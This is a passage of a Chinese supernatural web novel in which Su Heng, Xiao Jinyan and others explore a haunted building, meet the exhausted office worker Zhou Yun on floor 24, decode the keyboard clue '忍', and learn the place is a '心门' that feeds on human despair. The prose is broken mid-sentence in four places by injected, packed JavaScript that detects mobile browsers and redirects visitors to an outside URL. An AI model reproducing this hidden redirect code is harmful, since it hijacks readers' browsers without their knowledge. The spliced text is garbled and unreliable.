做完这一切,他像是完成了一个重要的仪式,长舒了一口气。 接着,男人掏出一部屏幕裂了好几道的旧手机,点开一个视频文件。 屏幕上赫然是刚才房间里的监控录像,画面正定格在宿珩扯下摄像头前的那一刻。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653342|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 男人死死盯着屏幕上宿珩那张冷淡却惊人漂亮的脸,眼神再次变得狂热而迷恋,手指在屏幕上反复摩挲着,嘴里发出意义不明的呓语,完全沉浸在自己的世界里。 走廊里,气氛依旧压抑。 头顶的灯管还在滋滋作响,那些冰冷的摄像头镜头仿佛跗骨之蛆,依旧紧紧跟随着他们。 “操……那小子有病吧?力气那么大!” 陈奇心有余悸地揉着被撞疼的肩膀,骂骂咧咧:“诶呦,这要是骨折了可咋整啊……” “那个人……”宿珩忽然开口,声音不大,但在寂静的走廊里却格外清晰,“不是照片上的那个青年。” “嗯?”楚文武一愣,“宿哥,你说什么?” 宿珩的目光扫过墙上那些无处不在的摄像头,最终落回1904紧闭的房门。 “房间照片墙上的那个青年,戴着黑框眼镜,气质焦虑不安。刚才那个男人虽然年纪相仿,但长相、气质,尤其是眼神,完全不同。” 被他这么一提醒,其他人也反应过来。 “对啊!” 林晓鹿恍然大悟,“照片上那个看着挺斯文的,刚才那个……凶神恶煞的,而且那股味道……” 她忍不住皱了皱鼻子。 “妈的,不是同一个人?” 陈奇瞪大了眼睛,“那照片上的人呢?这房间又是怎么回事?那小子守着一堆别人的照片和摄像头干嘛?偷窥狂啊?” 宿珩没有回答,他只是觉得,这层楼弥漫的窥伺感和那个男人身上令人作呕的气息,似乎找到了源头,但又不仅仅是源头那么简单。 这背后一定还隐藏着更深的恶意。 “嗯,不是同一个人。” 肖靳言的声音接了上来,带着一种了然的意味。 他停下脚步,目光随意地瞥向走廊天花板角落里的一个摄像头。 那是一个正对着他们的、闪烁着微弱红点的镜头。 肖靳言的眼神平静无波,但宿珩却莫名觉得,他似乎正隔着那个冰冷的镜头,与门后那个沉浸在手机屏幕里的男人进行着无声的对视。 几乎是同一时间—— 1904房间内,正对着手机屏幕意犹未尽的男人,心脏猛地漏跳了一拍! 一股难以言喻的寒意毫无预兆地顺着脊椎爬上后脑勺,仿佛有一双冰冷的眼睛正在黑暗中注视着他,洞悉了他所有肮脏不堪的秘密。 他手一抖,手机差点掉在地上,也顾不上再看录像,慌乱地按下了关机键,房间瞬间陷入一片黑暗。 他抱着手机,蜷缩在角落里,惊恐地望向门口的方向,冷汗涔涔而下。 走廊里,肖靳言收回目光,嘴角似乎几不可察地勾了一下,随即恢复了平淡无波的表情。 “走吧,去最后一层看看。” 他迈开步子,继续朝电梯方向走去。 宿珩看了他一眼,没说什么,跟了上去。 虽然不知道刚才发生了什么,但他心底那股被窥伺的恶心感,确实减轻了不少。 这个叫肖靳言的男人,似乎比他表现出来的还要更……深不可测。 5. 第 5 章 电梯继续颤颤巍巍向上。 19楼的数字在轿厢壁上黯淡下去,楚文武咽了口唾沫,指尖带着微不可察的颤抖,按下了面板上最后一个闪烁着幽绿微光的数字。 ——24。 这一次,无人开口,狭小的空间里只剩下愈发沉重的呼吸声。 “叮——” 电梯停靠的震动意外地轻微,然而,当那扇锈迹斑斑的铁门缓缓滑开时,眼前的景象却让每个人的心脏骤然缩紧。 扑面而来的是一片令人目眩的惨白。 与八楼的昏暗压抑、十九楼的阴冷窥伺截然不同。 二十四楼浸泡在一种毫无生气的、冰冷得近乎残忍的白光里。 光源是头顶一排排嗡鸣作响的老旧荧光灯管,它们无情地驱散了所有阴影,却也将一切生命力彻底抽干。 只留下一个巨大空旷、了无生机的框架。 这里似乎是一个废弃许久的办公室。 两排灰色的、如同鸽子笼般的隔断将空间切割成无数狭小的工位,桌面上凌乱地散落着发黄的文件、墨迹干涸的笔、以及蒙尘的键盘。 墙壁上粘贴着褪色卷边的纸张,依稀能辨认出扭曲的图表,旁边是加粗的黑体字标语—— “今日事今日毕!” “拼搏!奋斗!” “业绩就是生命线!” 在惨白的光线下,这些字眼非但没有励志效果,反而透着一股令人心悸的讽刺与荒诞。 空气中弥漫着一股难以言喻的混合气味—— 像是廉价化学清洁剂混杂着经年累月二手烟的浊腻,以及纸张和塑料在密闭空间中缓慢腐朽的沉闷。 浓重得几乎凝滞,压得人胸口发堵。 宿珩的眉心拧得更紧。 不同于8楼尖锐的暴戾,也不同于19楼粘稠的窥探,这一层带给他的,是一种无形却沉重如山的——压迫。 像是有一千双眼睛在无声地审视着不存在的业绩报表。 像是被永无止境的加班和苛责扼住了喉咙,灵魂被囚禁在一方狭小的格子间里,日复一日,被缓慢地碾碎、消磨。 这股压力如有实质,沉甸甸地压在他的心口,连呼吸都带上了滞涩感。 …… 他甚至产生一种错觉,墙上那些标语和图表都活了过来,正用一种冰冷而严苛的目光,对他进行着无声的审判。 “哒…哒哒…哒哒哒……” 一阵规律、急促且带着某种麻木感的键盘敲击声,从办公室深处某个隔间传来,在这片死寂中显得格外清晰,像是一根针,一下下刺破紧绷的寂静。 “有人?” 楚文武的声音压得极低,带着惊疑。 几人无声地交换了一个眼神,不约而同地放轻了脚步,循着那单调的声响摸索过去。 绕过两排空荡荡的工位,在最靠里的一处隔断后,他们看见了声音的主人。 那是个佝偻着脊背的男人。 他穿着一件领口袖口已洗得发白,甚至微微泛黄的衬衫。 几乎是埋首在一台老旧的电脑前,手指在键盘上机械地飞舞,屏幕幽幽的冷光映亮了他专注到近乎呆滞的侧脸。 动作僵硬而麻木,仿佛是一个被设定好程序的机器,已经重复了亿万次。 听到身后的脚步声,男人的动作猛地一顿,肩膀条件反射般瑟缩了一下,过了几秒,才极其缓慢地转过头来。 那是一张被彻底榨干了生气的脸。 眼窝深陷,脸色是长期不见天日的蜡黄,头发稀疏,唇色苍白。 明明看起来不过二十多岁的年纪,却弥漫着一种行将就木的疲惫与憔悴。 看到门口突然出现的五个陌生人,他先是茫然地眨了眨眼,随即,脸上努力挤出一个极其虚弱,甚至带着几分卑微讨好的笑容。 “你……你们好。” 他的声音干涩得像是砂纸摩擦,微弱得几乎听不见,“请问……是来面试的吗?人事部……应该在那边……” 他的每一个字都透着小心翼翼,仿佛生怕一点声音或动作就会招致无法承受的后果。 宿珩没有回应他的问话。 他的视线越过男人疲惫的脸庞,落在了对方工位隔板上别着的一张工牌。 工牌边缘已经磨损,塑料表面也有些划痕,但上面的照片和名字却异常清晰。 照片上的青年,戴着一副厚重的黑框眼镜,眉眼间的轮廓与19楼那间宿舍照片墙上的青年有着七八分的相似。 只是那时候的他,眼神里虽然也带着焦虑和不安,却远没有眼前这人这般……死气沉沉。 名字一栏,清晰地印着两个字—— 周云。 宿珩的目光在眼前这个形容枯槁的周云身上停留了几秒,对比着记忆中照片上那个尚有几分挣扎和不安的青年,一股强烈的违和感与不适感再次涌上心头。 是同一个人吗? 就在这时,宿珩眼角的余光捕捉到了一个细节。 周云裸露的脖颈靠近衣领的边缘处,以及他放在键盘上、骨节格外突出的手腕内侧,隐约可见几处淡红色的、形状不太规则的印记。 那形状……不像是普通的抓痕或磕碰留下的淤青。 更像是……被什么东西反复啃咬、吮吸后留下的,带着某种病态色泽的痕迹。 宿珩心头猛地一凛,那股沉闷的压迫感似乎瞬间找到了更具体、更令人不安的指向。 他隐约间抓住了什么。 “请问这里是……”林晓鹿深吸一口气,鼓起勇气想问些什么。 话音未落,旁边传来一声刺耳的“吱呀”轻响。 正对着周云工位的那扇标着“经理室”,装着磨砂玻璃的门,毫无预兆地被从内推开。 一个穿着笔挺西装,手腕上戴着名牌手表,头发梳得一丝不苟的中年男人走了出来。 他约莫四十多岁年纪,保养得相当不错,脸上挂着程式化的,看似温和的笑容,但那双精明的眼睛里却透着毫不掩饰的审视与算计。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653343|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的视线飞快地掠过陈奇等人,几乎没有停留,最终,如同发现了什么极有价值的猎物般,牢牢地锁定在了宿珩身上。 那一瞬间,他眼中迸发出毫不掩饰的惊艳,以及一种……近似于估价和占有的光芒。 “这位……” 中年男人脸上的笑容未变,径直穿过其他人,走到宿珩面前,语气带着一种久居上位的、理所当然的权威感。 “你是新来的?很好,看着就机灵,不用面试了,条件很不错,以后就跟着我吧。” 他的态度自然得仿佛在宣布一件板上钉钉的小事,全然无视了旁边陈奇等人错愕的表情,也无视了宿珩脸上清晰可见的冷淡与疏离。 陈奇张了张嘴,看看中年男人,又看看宿珩,最终还是把话咽了回去。 楚文武和林晓鹿也是面面相觑,完全没搞懂这突如其来的状况。 肖靳言则是低低啧了一声。 宿珩连眼皮都未曾抬一下,只从唇间吐出三个字,清晰而冷淡:“不需要。” 中年男人的笑容在脸上僵硬了一瞬。 他似乎没想到会得到如此直接的拒绝,胸膛不易察觉地起伏了一下,但很快又恢复了那副掌控一切的姿态,只是语气里带上了一丝不容置喙的强势。 “年轻人,别太冲动。跟着我,对你有好处。” 他甚至抬起手,似乎想以示亲近地拍拍宿珩的肩膀,却被宿珩一个不着痕迹的侧身完全避开。 “借用一下卫生间。” 宿珩终于抬眼看向他,语气依旧平淡无波,听不出丝毫情绪。 中年男人显然对他的不识抬举感到不悦,眉头微不可察地皱了一下,但还是维持着表面的风度,抬手朝着走廊深处随意指了指。 “那边尽头,自己去。” “我不认识路。”宿珩的目光平静地迎上他,补充道,“让他带我去。” 他用手指了指从刚才起就一直僵在原地,仿佛被冻住的周云。 “啊?” 陈奇忍不住低呼,这家伙又搞什么? 上个厕所还要人带路? 楚文武和林晓鹿也投来了全然困惑的目光。 周云更是被吓得浑身一颤,几乎是立刻慌乱地摆手:“我……我还有工作没做完……” 中年男人的脸色终于彻底沉了下来,他盯着宿珩,那眼神像是在重新评估这个不听话,却又让他格外感兴趣的“新猎物”。 办公室里凝滞的空气,似乎因这无声的对峙而绷得更紧了。 就在中年男人脸色彻底沉下,目光不善地重新审视宿珩时,肖靳言忽然动了。 他闲散地往前踱了一步,打破僵局,声音平淡无波:“正好,我也去。” 宿珩侧眸看向他,眼底掠过一抹诧异:“你去干什么?” 肖靳言对上他审视的目光,嘴角勾起一抹极淡的弧度,带着几分理所当然的懒散。 “你说呢?” “当然是和你一起去放水。” 宿珩:“……” 6. 第 6 章 肖靳言那句话说得过于理直气壮。 宿珩冷淡的面容上难得浮现一丝无语。 旁边的周云,本就毫无血色的脸颊彻底成了死灰色。 他似乎很惧怕和陌生人离开,身体抑制不住地轻颤,目光惊恐地在两人之间游移,像只受惊过度,下一秒就要彻底崩溃的困兽。 他想逃,却又不敢忤逆经理无声的默许。 那经理模样的中年男人脸色阴沉得能滴出水,锐利的目光在宿珩和肖靳言之间来回逡巡。 最终,他鼻腔里发出一声沉重的冷哼,算是默认,转身甩手进了经理室。 “砰!” 厚重的门板被狠狠摔上,回声震得空气都嗡鸣作响。 经理一走,周云仿佛松了口气,但很快又因恐惧而更加紧绷。 他佝偻着背,头几乎垂到胸口,声音细弱蚊蝇:“请……请跟我来。” 他率先朝走廊深处挪去,脚步虚浮踉跄,每一步都像是踩在棉花上,又像是拖着千斤重担。 明明是青年的身躯,背影却透着一股行将就木的腐朽。 宿珩跟上,肖靳言则不紧不慢地缀在后面。 就在他们身影消失在隔断拐角的瞬间,一直低头仿佛在研究墙上褪色标语的楚文武倏地动了。 他悄无声息地滑到周云空置的工位前。 林晓鹿紧张地扯了他袖子一下,声音压得极低:“文武,你做什么?” “嘘……晓鹿姐,我就看看。”楚文武头也不抬,目光飞快地在脏乱的桌面上扫过,“先找找线索。” 桌面杂物堆积如山,发黄的文件、积着茶渍的空杯、干涸的笔。 老旧电脑的屏幕是黑的,锁屏状态。 键盘蒙着厚厚的灰,唯独几个按键在惨白光线下反射出异样的、被磨得光滑的油光,与其他布满尘埃的按键形成鲜明对比。 楚文武眼神锐利,凑近了仔细辨认,指尖虚虚点过那几个异常的字母。 “E……R……N……” 他无声地用口型念着,眉头紧锁。 “什么意思?ERN,NRE……REN?人?” 这几个字母像是某种密码,又像是绝望中反复敲击留下的最后痕迹。 楚文武下意识想伸手去碰触键盘,试图唤醒屏幕,旁边一直警惕着的陈奇却猛地按住他的手腕:“小子!别乱动!想找死吗?” 恰在此时,对面紧闭的经理室里传来一声刻意加重的咳嗽声,带着浓浓的警告意味。 楚文武手一抖,悻悻然收回了手,但那三个字母却像烙印般刻在了他脑海里。 另一边,宿珩和肖靳言跟着周云来到走廊尽头。 卫生间的门虚掩着,露出里面老旧的绿色木质门板,油漆剥落得斑驳不堪。 一股浓烈刺鼻的消毒水气味,混杂着无法掩盖的,仿佛来自地底腐烂管道的腥臭,扑面而来。 周云在门口猛地停住,身体僵硬得像块石头,每一寸肌肉都在表达着极致的抗拒。 “就……就是这里,你们进去吧……我先回了。” 他头垂得更低,声音抖得不成调,完全不敢往里看。 肖靳言却仿佛没看见他的恐惧,神态自若地抬起手臂,带着不容拒绝的力道,往周云瘦削的脖颈上一搭,半强迫半搂带着他,一同迈过了那道门槛。 他笑着说:“正好一起吧,上班坐着憋久了,对身体不好。” 肖靳言语气轻松,动作却带着冷硬的强势。 周云浑身剧烈一颤,几乎是被肖靳言拖进去的,脸上最后一丝血色也褪得干干净净。 卫生间内部比外面看起来更加破败荒凉。 墙壁上贴着发黄开裂的白瓷砖,不少已经脱落,露出底下黑黢黢、浸着水渍的水泥。 角落的洗手台边,一个孤零零的水龙头执拗地向下滴着水珠,“嘀嗒”的声音在死寂的空间里回荡,敲打着人的神经。 空气里的恶臭几乎凝成实质。 最里面是一排隔断,门板同样朽烂不堪。 其中最后一个隔间的门上,赫然挂着一把锈迹斑斑的大铁锁,锁孔周围的木头都已腐朽发黑。 周云的身体绷紧到了极限,牙关都在打颤,视线死死地钉在地面,拼命避开那个上锁的隔间,仿佛那里面囚禁着能吞噬一切的怪物。 宿珩停下脚步,肖靳言也松开了搭在周云肩上的手,两人默契地交换了一个眼神,都没有走向小便池的意思。 宿珩的目光落在抖若筛糠的周云身上,声音清冷,直接切入:“你今年多大了?” 这平静的问话,在这逼仄压抑的空间里,像是一记重锤,猝然落下。 周云猛地抬起头,浑浊的眼中闪过一抹惊慌与茫然,“二……二十……四……” 24岁。 宿珩眼睫微垂,遮住了眸底翻涌的思绪。 眼前这人形容枯槁,神态麻木呆滞,说是42岁也不为过。 这与工牌上那个虽焦虑却仍有青年轮廓的“周云”,以及19楼照片墙上那个更年轻、眼神迷茫不安的“周云”,截然不同。 偏偏,他们此刻身处的楼层,就是24楼。 宿珩若有所思地抬眼,看向倚在洗手台边,姿态闲适的肖靳言。 肖靳言正看着他,黑沉的眼底没有意外,只有一丝了然。 仿佛宿珩想到的,他早已洞悉。 宿珩还想再问,周云却像是被这无声的对峙和潜在的追问彻底压垮了。 他不知从哪里爆发出一点残存的力气,猛地往后退了两步,身体因极度的恐惧而扭曲。 “我……我还要回去工作……不然……经理……经理会惩罚我的……” 周云语无伦次,眼神涣散而惊恐,最后看了宿珩和肖靳言一眼,然后猛地转身,跌跌撞撞地冲出了卫生间。 凌乱的脚步声在走廊里飞快远去。 卫生间里重归死寂,只剩下宿珩和肖靳言两人。 水龙头依旧固执地滴着水。 那股混合着消毒水与腐朽的恶臭,似乎在周云逃离后,变得更加浓郁。 宿珩走到洗手台前,拧开水龙头。 冰冷刺骨的水流哗哗冲下,冲击着布满污垢锈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653344|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹的池底,水声短暂地盖过了那令人窒息的寂静。 他没有洗手,只是垂眸看着那水流,仿佛想借此冲刷掉弥漫在这空间里,无处不在的绝望和粘稠的压抑感。 片刻,他关掉水龙头,水声骤停,死寂再次回拢。 宿珩转过身,看向一直倚在那里,好整以暇看着他的肖靳言。 “你知道这里是什么地方。” 宿珩开口,声音不高,却异常清晰,带着一种笃定。 这不是疑问,而是陈述。 从踏入这栋筒子楼开始,这个男人的镇定、敏锐,以及对环境隐晦信息的精准捕捉,都远超一个普通人的表现。 肖靳言挑了下眉,似乎对宿珩的直接毫不意外。 或许,从宿珩冷静地走进电梯那一刻起,他就有所预料。 他打量着眼前的年轻人。 漂亮得惊人,气质却冷冽得像淬了冰的玉,自始至终都维持着一种与周遭诡异环境格格不入的疏离与审视。 这种特质,本身就异于常人。 肖靳言缓缓站直身体,冲锋衣的衣料摩擦发出细微声响。 他没有直接回答,反而朝宿珩走近了一步。 两人的距离瞬间拉近,那股淡淡的、并不难闻的烟草味混杂着肖靳言身上某种更具侵略性的气息,无声地笼罩过来。 他微微倾身,声音压得极低,几乎是贴在宿珩耳边,气息温热,吐出的字眼却带着一种揭示禁忌的平静: “这里是‘心门’。” “心门?” 宿珩下意识地蹙眉,并非全然因为这突如其来的靠近带来的不适,更多的是这个陌生的、带着某种玄妙意味的词语本身。 那股烟草味,此刻仿佛也带上了某种特殊的暗示。 “你可以理解为……某些有悖于‘唯物主义’存在的……‘巢穴’。” 肖靳言的声音依旧低沉平稳,带着一种陈述事实的冷静,继续解释: “它们不属于我们所认知的物理世界,而是寄生在特定人类的精神深处。” “以宿主的负面情绪为食——痛苦,绝望,恐惧,怨恨……宿主越是沉沦,它们汲取的养分就越多,这‘心门’内部的环境,也就会变得越发扭曲,越发……真实。” “真实到……甚至会随机将无辜的路人拉进来。” 肖靳言的目光紧锁着宿珩,似乎习以为常地想从那张漂亮面孔上,看到类似惊愕或者恐惧的表情。 然而,出乎他意料,宿珩那双总是蒙着一层冷雾的眼眸里,仅仅是掠过了一丝近乎漠然的了然。 他甚至连眉梢都未动分毫,只极轻地颔首,吐出几个字:“原来是这样。” 这份平静,让肖靳言微微挑了下眉。 下一瞬,宿珩像是想到了什么,嘴角勾起抹哂笑的意味。 “这么说来,这里除了四个‘倒霉蛋’以外,其他的人都是某种负面情绪的具体化?” 听到“倒霉蛋”三个字,肖靳言哑然失笑。 这家伙的记仇能力…… 丝毫不弱与他的心理承受能力嘛…… 7. 第 7 章 宿珩全然没有注意到—— 此时两人之间的距离近得有些过分,他甚至能闻到对方身上更清晰的,混合着烟草与某种冷冽松木的气息。 就在这时,卫生间的门就被人“砰”的一声从外面推开。 “肖哥,宿哥!你们……” 楚文武气喘吁吁地冲进来,后面的话却像被扼住了喉咙,戛然而止。 少年瞪大了眼睛,呆呆地看着眼前这幅画面—— 肖靳言微微倾身,几乎是把宿珩半圈在怀里和洗手台之间,两人挨得极近,姿势暧昧得足以让任何一个青春期少年脑补出十万字不可描述的内容。 空气瞬间凝固。 宿珩:“……” 肖靳言:“……” “咳!” 宿珩反应最快,几乎是立刻侧身,一把推开肖靳言,拉开了足足两步的距离,冷淡的脸上罕见地掠过一丝不易察觉的僵硬和恼意,眉头也蹙得更紧。 肖靳言倒是从容,被推开也不恼,只是懒洋洋地直起身,双手重新插回冲锋衣口袋,意味不明地瞥了楚文武一眼。 楚文武看看这个,又看看那个,脸颊“腾”地一下就红了。 他连忙摆手,结结巴巴地解释,声音却越说越小:“那个……我……我不是故意的……我什么都没看见!真的!我……我懂!我都懂!我已经高一了,不是小孩子了……” 他一副“我理解你们成年人情难自禁但我绝对会保密”的表情,说完,像是怕被灭口似的,转身就往外跑,动作快得像只受惊的兔子。 宿珩的脸色更臭了几分。 肖靳言看着他那副明显不爽却又强自隐忍的模样,喉间逸出一声低低的轻笑,在这空旷破败的卫生间里,显得格外清晰。 宿珩冷冽的目光扫了他一眼,没搭腔,转身也向外走去。 卫生间外,林晓鹿和陈奇正焦急地等着。 看到楚文武像见了鬼一样冲出来,林晓鹿忙拉住他:“怎么了?他们俩人呢?” “嘘——” 楚文武紧张兮兮地做了个噤声的手势,把林晓鹿和陈奇拉到一边,压低声音,神神秘秘地说:“我跟你们说,肖哥和宿哥……他俩,刚才在里面……嗯……亲密交流呢!” “亲密交流?” 林晓鹿一时没反应过来,一脸茫然。 这词用得……有点奇怪。 陈奇也皱起了眉:“什么玩意儿?交流啥?” 楚文武见他们不开窍,急得跺脚,干脆豁出去了,两只手比划了一个靠近又分开的动作,模仿着亲吻的声音—— “就是……Kiss啊!亲上了!我亲眼看见的,挨得可近了!” “噗——” 陈奇差点一口气没上来,眼睛瞪得像铜铃,“啥……他俩?!” 林晓鹿也惊得捂住了嘴,脸颊泛红,不知道是羞的还是惊的。 楚文武正要继续描述他看到的“震撼场面”,强调自己绝对没看错,身后忽然传来一道冰冷的声音。 “你在胡说什么?” 楚文武身体一僵,脖子像生锈的齿轮一样,咯吱咯吱地转了过去。 宿珩不知何时已经站在了他身后,脸色阴沉得能拧出水来,那双总是带着冷雾的眼睛此刻清凌凌地结着冰碴,正直勾勾地盯着他。 “我……我没……” 楚文武吓得一哆嗦,后面的话瞬间吞回了肚子里,脑袋摇得像拨浪鼓。 宿哥现在这表情……好可怕! 简直比之前8楼那个拎着刀的男人还可怕! 紧跟着宿珩出来的肖靳言,依旧是那副从容不迫的样子。 他走到宿珩旁边,目光扫过一脸惊恐的楚文武和表情各异的陈奇、林晓鹿,语气平淡地接了一句:“是他看错了。” 一个脸色冰寒,一个云淡风轻,这截然不同的反应,配上楚文武刚才那番言之凿凿的描述,反而更让人浮想联翩。 陈奇和林晓鹿看向两人的眼神顿时变得微妙起来。 楚文武脖子猛地一缩,求生欲瞬间爆棚。 他赶紧转移话题,语速飞快:“对了……我想起来了,我在那个周云的桌子上发现了线索!” 果然,这话成功吸引了宿珩的注意力。 “什么线索?” “键盘!” 楚文武像是抓住了救命稻草,连忙比划着,“他的键盘很脏,全是灰,但有几个字母键特别干净,都磨得发亮了!” 宿珩:“什么字母?” 楚文武:“是‘ERN’!” “ERN?” 陈奇摸着下巴,一脸困惑,“这啥意思?人名缩写?还是密码?” 林晓鹿也皱着眉思索:“会不会是……某个单词的一部分?” 几人围在一起,对着这三个孤零零的字母,一时间都有些摸不着头脑。 这栋楼处处透着诡异,谁也无法确定这简单的字母背后隐藏着什么。 就在这时,一直沉默的宿珩忽然开口,声音清冷依旧:“不是字母。” “那是什么?” 众人齐齐看向他。 宿珩的视线落在虚空中的某一点,仿佛在拼凑着什么。 “如果把键盘布局看作拼音输入……” 他的指尖在空气中虚点了几下,模拟着按键的动作,“R……E……N。” 他停顿了一下,然后缓缓吐出一个字:“是忍,忍耐的忍。” 忍? 这个字一出来,空气仿佛都凝滞了一瞬。 联系到24楼压抑绝望的氛围,那个形容枯槁、眼神麻木的周云,以及经理室里传出的那声饱含警告意味的咳嗽…… 一个“忍”字,如同一根线,瞬间将所有看似零散的碎片串联起来,勾勒出一个绝望而扭曲的轮廓。 “我靠……” 陈奇倒吸一口凉气,恍然大悟,随即又忍不住骂道:“这他妈……天天面对那种傻逼上司,还有这要命的工作环境,可不是得忍吗?换我早撂挑子不干了!” “是啊……”林晓鹿也心有戚戚焉,感同身受地附和:“要是我在这样的地方上班,估计一天都待不下去,肯定分分钟辞职走人。” 他们的话,却让宿珩陷入了更深的思索。 辞职走人……这似乎是正常人的第一反应。 可是周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653345|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云没有。 他不仅忍了下来,还把自己“忍”成了这副几乎不成人形的样子。 宿珩脑海里不由自主地浮现出周云脖颈与手腕处那些淡红色的、暧昧不明的印记,那绝非寻常工作压力所能解释。 是什么让他宁愿承受那样的折磨和屈辱,也要留在这个如同地狱般的“办公室”里? 仅仅是为了生存吗? 还是……有什么更黑暗、更无法挣脱的东西,迫使他只能选择——忍? 宿珩的眉头越皱越紧,心底那股不适感再次翻涌上来。 这层楼弥漫的不仅仅是工作的压迫,似乎还有更黑暗、更粘稠的东西隐藏在背后。 “有时候,现实的枷锁,或者过往某些刻入骨髓、无法磨灭的创伤,会让人失去离开的勇气。” 肖靳言的声音忽然响起,打破了宿珩的沉思。 他不知何时走到了宿珩身边,目光同样望向那间惨白的办公室,语气平淡,却带着一种洞悉人心的锐利。 “即使眼前是地狱,对某些人来说,也可能是唯一的……容身之所。” 宿珩猛地转头看向他。 肖靳言也正侧头看着他,黑沉的眼眸里没有了刚才的戏谑,只有一片深邃的平静。 现实的枷锁? 无法磨灭的创伤? 肖靳言的话像是一把钥匙,隐约触碰到了宿珩心中某个模糊的猜测。 他想到了8楼那个惊恐的小男孩,想到了19楼照片墙上那个眼神焦虑的青年,再联系眼前这个被彻底榨干、只剩下不断在键盘上敲击着“忍”字的周云…… 这三个楼层,这三个看似不同却又隐隐相连的场景,会不会指向同一个核心? 同一个……被困住的灵魂? 宿珩的眼神骤然变得锐利起来,他不再犹豫,目光直视着肖靳言,语气带着不容置疑的决断:“我需要下去一趟。” 陈奇和林晓鹿都愣住了,“去哪儿?” 楚文武也一脸茫然:“宿哥,下面不是都看过了吗?” 只有肖靳言,在听到宿珩的话后,眼底掠过一丝了然。 他点了点头,没有问为什么,只是简单地应了一声:“好。” 他知道宿珩想去确认什么。 有些线索,需要回到最初的地方,才能找到答案。 宿珩不再多言,转身就朝着电梯的方向走去。 肖靳言迈开长腿,不紧不慢地跟在他身后。 留下陈奇、林晓鹿和楚文武三人面面相觑,完全搞不懂这两个人又在打什么哑谜。 “不是……这又怎么了?” 陈奇挠了挠头,满脸费解。 楚文武推了推眼镜,小声嘀咕:“总感觉……宿哥好像发现了什么不得了的事情……” 他顿了顿,又忍不住偷偷瞄了一眼肖靳言和宿珩的背影,然后凑到林晓鹿耳边,用更小的声音补充了一句:“而且……我觉得他俩的关系,貌似不一般!” 林晓鹿:“……” 陈奇翻了个白眼,赶紧跟了上去。 他是想明白了,在这破地方,大腿不抱白不抱,况且……还是一次性两条大腿! 8. 第 8 章 电梯改为下行。 遍布污垢的铁门再次开启,一股混合着潮湿霉味与隐约腐臭的气息,再次冲进众人鼻腔。 走廊依旧是那副昏黄破败的模样,只是所有的声音都消失了。 取而代之的,是令人窒息的死寂。 802室那扇被剁得稀烂的木门虚掩着,门轴晃晃荡荡。 那个满身酒气,手持剁骨刀的狰狞男人,已不见了踪影。 透过门板上那些触目惊心的裂口,可以窥见屋内的一角。 那是一个肮脏得令人作呕的所谓客厅。 水泥地面坑洼不平,积着黑色的污垢,墙壁上胡乱糊着早已发黄的旧报纸,边角卷曲,几处深褐色的污渍格外醒目,像是某种液体干涸已久留下的印记,让人不愿深想。 客厅中央,一张掉漆的小方桌旁,一个瘦小的身影正趴伏着,埋头在写些什么。 是那个小男孩。 他身上那件洗得发白的蓝条纹睡衣不见了,换上了一件明显宽大不合身的旧T恤,瘦弱的双腿不自然地紧紧闭着。 裸露在外的胳膊、脖颈上,布满了青紫交错的淤痕,新伤叠着旧伤,像是被打翻的调色盘,泼洒在苍白的皮肤上,刺眼得让人心头发紧。 他握着铅笔的手异常用力,指节因为过度用力而泛出青白色,仿佛那不是在写字,而是在与某种无形的力量进行着绝望的对抗。 林晓鹿的呼吸滞住了。 男孩身上那些狰狞的伤痕,像一根根滚烫的针,扎进她的眼睛,也扎进她的心口。 先前被恐惧死死压抑住的某种情绪,此刻如同挣脱闸门的洪水,汹涌地冲刷着她。 是愧疚,是自责。 刚才,在走廊上,她只顾着害怕那个挥舞着凶器的男人,却本能地忽略了,这个孩子可能正在承受着怎样的折磨。 作为见惯了活泼可爱孩子们的小学老师,林晓鹿内疚得喉咙发干,胸口闷得发疼。 她缓缓深吸口气,努力将那股几欲夺眶而出的酸涩压下去,放轻了脚步,一点点挪到那扇破烂的门前。 林晓鹿站在门口,声音因刻意的压制而微微发颤,却努力让它听起来足够柔和。 “小朋友?” 男孩写字的动作僵住了。 他抬起头,动作缓慢得像个生了锈的玩偶。 